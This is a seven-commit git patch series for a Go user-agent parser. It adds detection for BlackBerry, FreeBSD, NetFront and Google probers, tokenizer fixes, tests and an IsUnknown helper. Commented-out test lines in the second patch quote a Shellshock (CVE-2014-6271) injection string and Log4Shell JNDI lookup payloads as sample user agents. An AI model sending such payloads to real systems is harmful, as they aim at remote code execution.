From feaa51adaecffdd360a44866aff01e4268b0cd96 Mon Sep 17 00:00:00 2001 From: Josh Fyne Date: Fri, 1 Sep 2023 11:12:27 +0100 Subject: [PATCH 1/7] Handling non-standard and rare user agents. --- ua.go | 26 ++++++++++++++++++++++++-- ua_test.go | 6 ++++++ 2 files changed, 30 insertions(+), 2 deletions(-) diff --git a/ua.go b/ua.go index 4dcfcf9..c866ef7 100644 --- a/ua.go +++ b/ua.go @@ -32,6 +32,7 @@ const ( IOS = "iOS" Linux = "Linux" ChromeOS = "ChromeOS" + BlackBerry = "BlackBerry" Opera = "Opera" OperaMini = "Opera Mini" @@ -118,6 +119,10 @@ func Parse(userAgent string) UserAgent { ua.OS = ChromeOS ua.OSVersion = tokens.get("CrOS") ua.Desktop = true + case tokens.exists("BlackBerry"): + ua.OS = BlackBerry + ua.OSVersion = tokens.get("BlackBerry") + ua.Mobile = true } switch { @@ -260,6 +265,10 @@ func Parse(userAgent string) UserAgent { ua.Version = tokens.get("HuaweiBrowser") ua.Mobile = tokens.existsAny("Mobile", "Mobile Safari") + case tokens.exists("BlackBerry"): + ua.Name = "BlackBerry" + ua.Version = tokens.get("Version") + // if chrome and Safari defined, find any other token sent descr case tokens.exists(Chrome) && tokens.exists(Safari): name := tokens.findBestMatch(true) @@ -303,7 +312,10 @@ func Parse(userAgent string) UserAgent { ua.Name = ua.String } ua.Bot = strings.Contains(strings.ToLower(ua.Name), "bot") - ua.Mobile = tokens.existsAny("Mobile", "Mobile Safari") + // If mobile flag has already been set, don't override it. + if !ua.Mobile { + ua.Mobile = tokens.existsAny("Mobile", "Mobile Safari") + } } } @@ -390,6 +402,16 @@ func parse(userAgent string) properties { addToken() braOpen = false + case c == 58: // : + if bytes.HasSuffix(buff.Bytes(), []byte("http")) || bytes.HasSuffix(buff.Bytes(), []byte("https")) { + // If we are part of a URL just write the character. + buff.WriteByte(c) + } else if i != len(bua)-1 && bua[i+1] != ' ' { + // If the following character is not a space, change to a space. + buff.WriteByte(' ') + } + // Otherwise don't write as its probably a badly formatted key value separator. + case slash && c == 32: addToken() @@ -424,7 +446,7 @@ func checkVer(s string) (name, v string) { switch s[:i] { case "Linux", "Windows NT", "Windows Phone OS", "MSIE", "Android": return s[:i], s[i+1:] - case "CrOS x86_64", "CrOS aarch64": + case "CrOS x86_64", "CrOS aarch64", "CrOS armv7l": j := strings.LastIndex(s[:i], " ") return s[:j], s[j+1 : i] default: diff --git a/ua_test.go b/ua_test.go index e92cea8..9e9a35b 100644 --- a/ua_test.go +++ b/ua_test.go @@ -121,6 +121,12 @@ var testTable = [][]string{ // unstandard stuff {"BUbiNG (+http://law.di.unimi.it/BUbiNG.html)", "BUbiNG", "", "", ""}, //{"Aweme 8.2.0 rv:82017 (iPhone6,2; iOS 12.4; zh_CN) Cronet", "Aweme", "", "", ""}, + {"surveyon/3.1.0 Mobile (Android: 6.0.1; MODEL:SM-G532G; PRODUCT:grandppltedx; MANUFACTURER:samsung;)", "surveyon", "3.1.0", "mobile", ua.Android}, + {"surveyon/3.1.0 Mobile (Android: 9; MODEL:CPH1923; PRODUCT:CPH1923; MANUFACTURER:OPPO;)", "surveyon", "3.1.0", "mobile", ua.Android}, + {"surveyon/3.1.0 Mobile (Android: 13; MODEL:SM-M127F; PRODUCT:m12nnxx; MANUFACTURER:samsung;)", "surveyon", "3.1.0", "mobile", ua.Android}, + {"surveyon/2.9.5 (iPhone; CPU iPhone OS 12_5_7 like Mac OS X)", "surveyon", "2.9.5", "mobile", ua.IOS}, + {"Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.187 Mobile Safari/534.11+", "BlackBerry", "7.0.0.187", "mobile", "BlackBerry"}, + {"Mozilla/5.0 (X11; CrOS armv7l 13099.110.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.136 Safari/537.36", ua.Chrome, "84.0.4147.136", "desktop", ua.ChromeOS}, // Device names {"Mozilla/5.0 (Linux; Android 10; 8092) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", "Chrome", "112.0.0.0", "mobile", ua.Android, "8092"}, From d4eb424ccfd552f4070d088ae280fc777fa3e40c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Milo=C5=A1=20Mileusni=C4=87?= Date: Sat, 16 Sep 2023 12:42:11 +0200 Subject: [PATCH 2/7] Update test --- ua_test.go | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/ua_test.go b/ua_test.go index 9e9a35b..bfb3391 100644 --- a/ua_test.go +++ b/ua_test.go @@ -76,6 +76,7 @@ var testTable = [][]string{ {"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)", "Applebot", "0.1", "bot", ""}, {"Twitterbot/1.0", ua.Twitterbot, "1.0", ua.Applebot, ""}, {"facebookexternalhit/1.1", ua.FacebookExternalHit, "1.1", "bot", ""}, + {"facebookcatalog/1.0", "facebookcatalog", "1.0", "bot", ""}, {"Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html", "SemrushBot", "7~bl", "bot", ""}, {"Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.268", "YandexBot", "3.0", "bot", ""}, {"Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)", "Discordbot", "2.0", "bot", ""}, @@ -117,6 +118,7 @@ var testTable = [][]string{ {"Go-http-client/1.1", "Go-http-client", "1.1", "", ""}, {"Wget/1.12 (linux-gnu)", "Wget", "1.12", "", ""}, {"Wget/1.17.1 (darwin15.2.0)", "Wget", "1.17.1", "", ""}, + {"Seafile/9.0.2 (Linux)", "Seafile", "9.0.2", "", "Linux"}, // unstandard stuff {"BUbiNG (+http://law.di.unimi.it/BUbiNG.html)", "BUbiNG", "", "", ""}, @@ -141,6 +143,12 @@ var testTable = [][]string{ {"Mozilla/5.0 (Linux; Android 9; m5621 Build/PPR2.180905.006.A1; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.158 Safari/537.36", ua.Chrome, "66.0.3359.158", "mobile", ua.Android, "m5621"}, {"Mozilla/5.0 (Linux; Android 10; meanIT_X20 Build/QP1A.190711.020) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.153 Safari/537.36", ua.Chrome, "110.0.5481.153", "mobile", ua.Android, "meanIT_X20"}, {"Mozilla/5.0 (Linux; Android 10;)", "Mozilla/5.0 (Linux; Android 10;)", "", "mobile", ua.Android}, + // {`() { ignored; }; echo Content-Type: text/plain ; echo ; echo "bash_cve_2014_6271_rce Output : $((70+91))"`, "", "mobile", ua.Android}, + //{`${jndi:ldap://log4shell-generic-8ZnJfq2XFL3GWyaLyOpT${lower:ten}.w.nessus.org/nessus}`, "", "mobile", ua.Android}, + // + + // + // ${jndi:ldap://log4shell-generic-8ZnJfq2XFL3GWyaLyOpT${lower:ten}.w.nessus.org/nessus} // TODO: // Mozilla/5.0 (Linux; U; Android 13; sr-rs; V2206 Build/TP1A.220624.014) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/Mint Browser/3.9.3 From c6acd3ebe8cb7f11a800094bbec2dac9775bdbf6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Milo=C5=A1=20Mileusni=C4=87?= Date: Sat, 16 Sep 2023 12:42:51 +0200 Subject: [PATCH 3/7] Update .gitignore --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index b9064a7..fe71a38 100644 --- a/.gitignore +++ b/.gitignore @@ -2,3 +2,5 @@ old.go old_test.go file.txt user_agents.txt +ua2.go +settings.json From 814109e68d6a578cecf597ab19f80ef590e1d5d8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Milo=C5=A1=20Mileusni=C4=87?= Date: Sat, 16 Sep 2023 13:16:44 +0200 Subject: [PATCH 4/7] Add new confirmed Google user agents --- ua.go | 11 +++++++++++ ua_test.go | 3 ++- 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/ua.go b/ua.go index c866ef7..0863047 100644 --- a/ua.go +++ b/ua.go @@ -119,6 +119,7 @@ func Parse(userAgent string) UserAgent { ua.OS = ChromeOS ua.OSVersion = tokens.get("CrOS") ua.Desktop = true + case tokens.exists("BlackBerry"): ua.OS = BlackBerry ua.OSVersion = tokens.get("BlackBerry") @@ -132,6 +133,12 @@ func Parse(userAgent string) UserAgent { ua.Bot = true ua.Mobile = tokens.existsAny("Mobile", "Mobile Safari") + case tokens.existsAny("GoogleProber", "GoogleProducer"): + if name := tokens.findBestMatch(false); name != "" { + ua.Name = name + } + ua.Bot = true + case tokens.exists("Applebot"): ua.Name = Applebot ua.Version = tokens.get(Applebot) @@ -248,6 +255,7 @@ func Parse(userAgent string) UserAgent { case tokens.exists("FBAN"): ua.Name = FacebookApp ua.Version = tokens.get("FBAN") + case tokens.exists("FB_IAB"): ua.Name = FacebookApp ua.Version = tokens.get("FBAV") @@ -391,6 +399,9 @@ func parse(userAgent string) properties { case (parOpen || braOpen) && c == 59: // ; addToken() + case c == 59: // ; + addToken() + case c == 40: // ( addToken() parOpen = true diff --git a/ua_test.go b/ua_test.go index bfb3391..5c061b2 100644 --- a/ua_test.go +++ b/ua_test.go @@ -85,6 +85,8 @@ var testTable = [][]string{ {"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.1.0.0 Mobile Safari/537.36 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", "Bingbot", "2.0", "bot", ua.Android}, // new bingbot mobile {"Mozilla/5.0 (compatible; Yahoo Ad monitoring; https://help.yahoo.com/kb/yahoo-ad-monitoring-SLN24857.html) tands-prod-eng.hlfs-prod---sieve.hlfs-desktop/1681336006-0", "Yahoo Ad monitoring", "", "bot", ""}, {"Mozilla/5.0 (compatible; Yahoo Ad monitoring; https://help.yahoo.com/kb/yahoo-ad-monitoring-SLN24857.html) cnv.aws-prod---sieve.hlfs-rest_client/1681346790-0", "Yahoo Ad monitoring", "", "bot", ""}, + {"GoogleProber", "GoogleProber", "", "bot", ""}, + {"GoogleProducer; (+http://goo.gl/7y4SX)", "GoogleProducer", "", "bot", ""}, // Google ads bots {"Mozilla/5.0 (Linux; Android 4.0.0; Galaxy Nexus Build/IMM76B) AppleWebKit/537.36 (KHTML, like Gecko; Mediapartners-Google) Chrome/104.0.0.0 Mobile Safari/537.36", ua.GoogleAdsBot, "", "bot", ua.Android}, @@ -272,7 +274,6 @@ func ExampleParse() { if ua.URL != "" { fmt.Println(ua.URL) } - } } From 905f16afebfa3cf94109312d4aef9dda6268c0c7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Milo=C5=A1=20Mileusni=C4=87?= Date: Sat, 16 Sep 2023 13:40:34 +0200 Subject: [PATCH 5/7] close #24 --- ua.go | 21 +++++++++++++++++++-- ua_test.go | 9 +++++++++ 2 files changed, 28 insertions(+), 2 deletions(-) diff --git a/ua.go b/ua.go index 0863047..a292f9c 100644 --- a/ua.go +++ b/ua.go @@ -31,6 +31,7 @@ const ( MacOS = "macOS" IOS = "iOS" Linux = "Linux" + FreeBSD = "FreeBSD" ChromeOS = "ChromeOS" BlackBerry = "BlackBerry" @@ -74,6 +75,8 @@ func Parse(userAgent string) UserAgent { } } + //fmt.Printf("%+v\n", tokens) + // OS lookup switch { case tokens.exists("Android"): @@ -115,6 +118,11 @@ func Parse(userAgent string) UserAgent { ua.OSVersion = tokens.get(Linux) ua.Desktop = true + case tokens.exists("FreeBSD"): + ua.OS = FreeBSD + ua.OSVersion = tokens.get(FreeBSD) + ua.Desktop = true + case tokens.exists("CrOS"): ua.OS = ChromeOS ua.OSVersion = tokens.get("CrOS") @@ -277,6 +285,11 @@ func Parse(userAgent string) UserAgent { ua.Name = "BlackBerry" ua.Version = tokens.get("Version") + case tokens.exists("NetFront"): + ua.Name = "NetFront" + ua.Version = tokens.get("NetFront") + ua.Mobile = true + // if chrome and Safari defined, find any other token sent descr case tokens.exists(Chrome) && tokens.exists(Safari): name := tokens.findBestMatch(true) @@ -434,7 +447,11 @@ func parse(userAgent string) properties { buff.WriteByte(c) isURL = true } else { - slash = true + if ignore(buff.String()) { + buff.Reset() + } else { + slash = true + } } default: @@ -476,7 +493,7 @@ func checkVer(s string) (name, v string) { // ignore retursn true if token should be ignored func ignore(s string) bool { switch s { - case "KHTML, like Gecko", "U", "compatible", "Mozilla", "WOW64", "en", "en-us", "en-gb", "ru-ru": + case "KHTML, like Gecko", "U", "compatible", "Mozilla", "WOW64", "en", "en-us", "en-gb", "ru-ru", "Browser": return true default: return false diff --git a/ua_test.go b/ua_test.go index 5c061b2..fd88446 100644 --- a/ua_test.go +++ b/ua_test.go @@ -70,6 +70,9 @@ var testTable = [][]string{ // Windows phone {"Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; NOKIA; Lumia 630)", ua.InternetExplorer, "7.0", "mobile", ua.WindowsPhone}, + // FreeBSD + {"Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)", "Konqueror", "4.5", "desktop", "FreeBSD"}, + // Bots {"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", ua.Googlebot, "2.1", "mobile", "Android", "Nexus 5X"}, {"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", ua.Googlebot, "2.1", "bot", ""}, @@ -131,6 +134,7 @@ var testTable = [][]string{ {"surveyon/2.9.5 (iPhone; CPU iPhone OS 12_5_7 like Mac OS X)", "surveyon", "2.9.5", "mobile", ua.IOS}, {"Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.187 Mobile Safari/534.11+", "BlackBerry", "7.0.0.187", "mobile", "BlackBerry"}, {"Mozilla/5.0 (X11; CrOS armv7l 13099.110.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.136 Safari/537.36", ua.Chrome, "84.0.4147.136", "desktop", ua.ChromeOS}, + {"SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0", "NetFront", "3.3", "mobile", ""}, // Device names {"Mozilla/5.0 (Linux; Android 10; 8092) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", "Chrome", "112.0.0.0", "mobile", ua.Android, "8092"}, @@ -206,6 +210,11 @@ func TestParse(t *testing.T) { } } +func TestSingle(t *testing.T) { + agent := ua.Parse("SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0") + fmt.Printf("\n%+v\n", agent) +} + var testUA ua.UserAgent func BenchmarkUserAgent(b *testing.B) { From b781054abdebdc38d28a61a158ace104437908e1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Milo=C5=A1=20Mileusni=C4=87?= Date: Sat, 16 Sep 2023 13:47:31 +0200 Subject: [PATCH 6/7] close #23; Add IsUnknown function --- is.go | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/is.go b/is.go index a98bea2..a3bf5b3 100644 --- a/is.go +++ b/is.go @@ -79,3 +79,9 @@ func (ua UserAgent) IsTwitterbot() bool { func (ua UserAgent) IsFacebookbot() bool { return ua.Name == FacebookExternalHit } + +// IsUnknown returns true if the package can't determine the user agent reliably. +// Fields like Name, OS, etc. might still have values. +func (ua UserAgent) IsUnknown() bool { + return !ua.Mobile && !ua.Tablet && !ua.Desktop && !ua.Bot +} From ab1411d0ebd8dc2d59fff4a44d816082c6cfd8e6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Milo=C5=A1=20Mileusni=C4=87?= Date: Sat, 16 Sep 2023 13:51:29 +0200 Subject: [PATCH 7/7] Update .gitignore --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index fe71a38..8078d86 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,4 @@ file.txt user_agents.txt ua2.go settings.json +benchmarks.txt